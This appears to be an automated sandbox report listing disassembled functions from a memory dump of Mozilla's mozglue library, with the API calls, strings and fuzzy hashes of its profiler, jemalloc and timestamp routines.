Opcode ID: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction ID: 34045ad6320e12c9c95d4a43c2abe66f66a09155707e4339070c463d5f5dd165
Opcode Fuzzy Hash: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction Fuzzy Hash: 7F6108B0A00344AFEB00EFA0CC09F957BF8EF4A34AF868659E5049BB41D7B59955CF94

Function 6C51F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C51F8F9

Part of subcall function 6C4E6390: GetCurrentThreadId.KERNEL32 ref: 6C4E63D0
Part of subcall function 6C4E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C4E63DF
Part of subcall function 6C4E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C4E640E

ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F93A
GetCurrentThreadId.KERNEL32 ref: 6C51F98A
GetCurrentThreadId.KERNEL32 ref: 6C51F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F716

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C4DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C4DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C51F739
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F746
GetCurrentThreadId.KERNEL32 ref: 6C51F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C55385B,00000002,?,?,?,?,?), ref: 6C51F829
free.MOZGLUE(?,?,00000000,?), ref: 6C51F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C51F866
free.MOZGLUE(?), ref: 6C51FA0C

Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C
Part of subcall function 6C4E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
Part of subcall function 6C4E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F53
Part of subcall function 6C4E5E60: GetCurrentThread.KERNEL32 ref: 6C4E5F5C
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F66
Part of subcall function 6C4E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E

free.MOZGLUE(?), ref: 6C51F9C5
free.MOZGLUE(?), ref: 6C51F9DA

Strings

Thread , xrefs: 6C51F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C51F9A6
" attempted to re-register as ", xrefs: 6C51F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C51F71F

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction ID: de55df5fa2ba918e0d5ec4f1753462140a1cad23095b586e53a9f93daff6bc88
Opcode Fuzzy Hash: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction Fuzzy Hash: FD81D6716043049FDB10EF24CC44AAAB7A5EFC5308F95465DE84997B51EB31E849CBD2

Function 6C51EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EE60
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE6D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51EEA5
CloseHandle.KERNEL32(?), ref: 6C51EEB4
free.MOZGLUE(00000000), ref: 6C51EEBB
GetCurrentThreadId.KERNEL32 ref: 6C51EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EECF

Part of subcall function 6C51DE60: GetCurrentThreadId.KERNEL32 ref: 6C51DE73
Part of subcall function 6C51DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B
Part of subcall function 6C51DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
Part of subcall function 6C51DE60: free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
Part of subcall function 6C51DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C51EF1E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF2B
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF59
GetCurrentThreadId.KERNEL32 ref: 6C51EFB0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFBD
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFE1
GetCurrentThreadId.KERNEL32 ref: 6C51EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F000

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F02F

Part of subcall function 6C51F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C51F008
[I %d/%d] profiler_stop, xrefs: 6C51EED7

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction ID: 679b26b66f4111e87666dab46c03c264029b6d1082788409dd445c5b91d6b570
Opcode Fuzzy Hash: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction Fuzzy Hash: B951A435708210DFEB00AB65DC0C7A67BB4EB87328F96071AE915C3F81DBB55844C7AA

Function 6C50D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C50D047
GetSystemInfo.KERNEL32(?), ref: 6C50D093
__Init_thread_footer.LIBCMT ref: 6C50D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C50D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C50D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C50D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C50D1B1

Strings

<jemalloc>, xrefs: 6C50D268, 6C50D311
Compile-time page size does not divide the runtime one., xrefs: 6C50D26D
MALLOC_OPTIONS, xrefs: 6C50D0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6C50D322
MOZ_CRASH(), xrefs: 6C50D277

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction ID: ad6426bf259c87df681dd460a3b5fcb575defc0667717e2f4c610bc012407c9b
Opcode Fuzzy Hash: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction Fuzzy Hash: 7A811370B042419FEB00DF68CD54B697BF4EB46308F96052AE901D7F80EBB9A805CBD9

Function 6C4E7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C4E8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C4E801D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C4E802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C4E803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E808D

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C4E809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C4E8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C4E817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E8199

Strings

0>Ql, xrefs: 6C4E811E

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Ql
API String ID: 2721933968-406761025
Opcode ID: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction ID: 89e085a994dafa142ffc40a84774b79003cff7a337f4b896889fff570ef251c0
Opcode Fuzzy Hash: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction Fuzzy Hash: C75172B1E002149BDF00DBA9DC84EAFBBB9AF89265F154129E815E7741E730ED05CBA1

Function 6C4E5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C4E6017

Part of subcall function 6C4D4310: moz_xmalloc.MOZGLUE(00000010,?,6C4D42D2), ref: 6C4D436A
Part of subcall function 6C4D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4D42D2), ref: 6C4D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
GetCurrentProcess.KERNEL32 ref: 6C4E5F53
GetCurrentThread.KERNEL32 ref: 6C4E5F5C
GetCurrentProcess.KERNEL32 ref: 6C4E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E60CC

Strings

GeckoMain, xrefs: 6C4E5ECE, 6C4E6015

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction ID: dde8e83f1fcd86cecbf95675bc4b111d03995ff203afee0a47e7edfe99234071
Opcode Fuzzy Hash: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction Fuzzy Hash: 8E719EB0604740DFD700DF28C880E6ABBF0BF9A305F554A6DE98687B52D771E948CB92

Function 6C4E9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4D3217
Part of subcall function 6C4D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4D3236
Part of subcall function 6C4D31C0: FreeLibrary.KERNEL32 ref: 6C4D324B
Part of subcall function 6C4D31C0: __Init_thread_footer.LIBCMT ref: 6C4D3260
Part of subcall function 6C4D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4D327F
Part of subcall function 6C4D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D328E
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32AB
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32D1
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4D32E5
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

NtMapViewOfSection, xrefs: 6C4E9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
MapViewOfFileNuma2, xrefs: 6C4E97B1
ntdll.dll, xrefs: 6C4E96E3

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction ID: 47ce4f42ec0c078042cb29ecf1f06401fed4c9443e6af6960a62abd1ff9e295d
Opcode Fuzzy Hash: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction Fuzzy Hash: D361E371B00201EFDF00DF69DC88F9A7BB4EB4A316F924229E91693780D731A858CB95

Function 6C536660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536694
GetThreadId.KERNEL32(?), ref: 6C5366B1
GetCurrentThreadId.KERNEL32 ref: 6C5366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5366E1
EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536734
GetCurrentProcess.KERNEL32 ref: 6C53673A
LeaveCriticalSection.KERNEL32(6C55F618), ref: 6C53676C
GetCurrentThread.KERNEL32 ref: 6C5367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C536868
RtlCaptureContext.NTDLL ref: 6C53687F

Strings

WalkStack64, xrefs: 6C536890

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction ID: 11469bbbd3b68dd6175c17ff3736780095ca8f9000ecd9ad94a2cd8fc4864b30
Opcode Fuzzy Hash: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction Fuzzy Hash: 5E51CB71A09310AFDB11DF24CC48B5ABBF4BF89714F44492DF99887640EBB0E8088B92

Function 6C51DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51DE73
GetCurrentThreadId.KERNEL32 ref: 6C51DF7D
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DF8A
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DFC9
GetCurrentThreadId.KERNEL32 ref: 6C51DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C51E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C51DE83
<none>, xrefs: 6C51DFD7

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

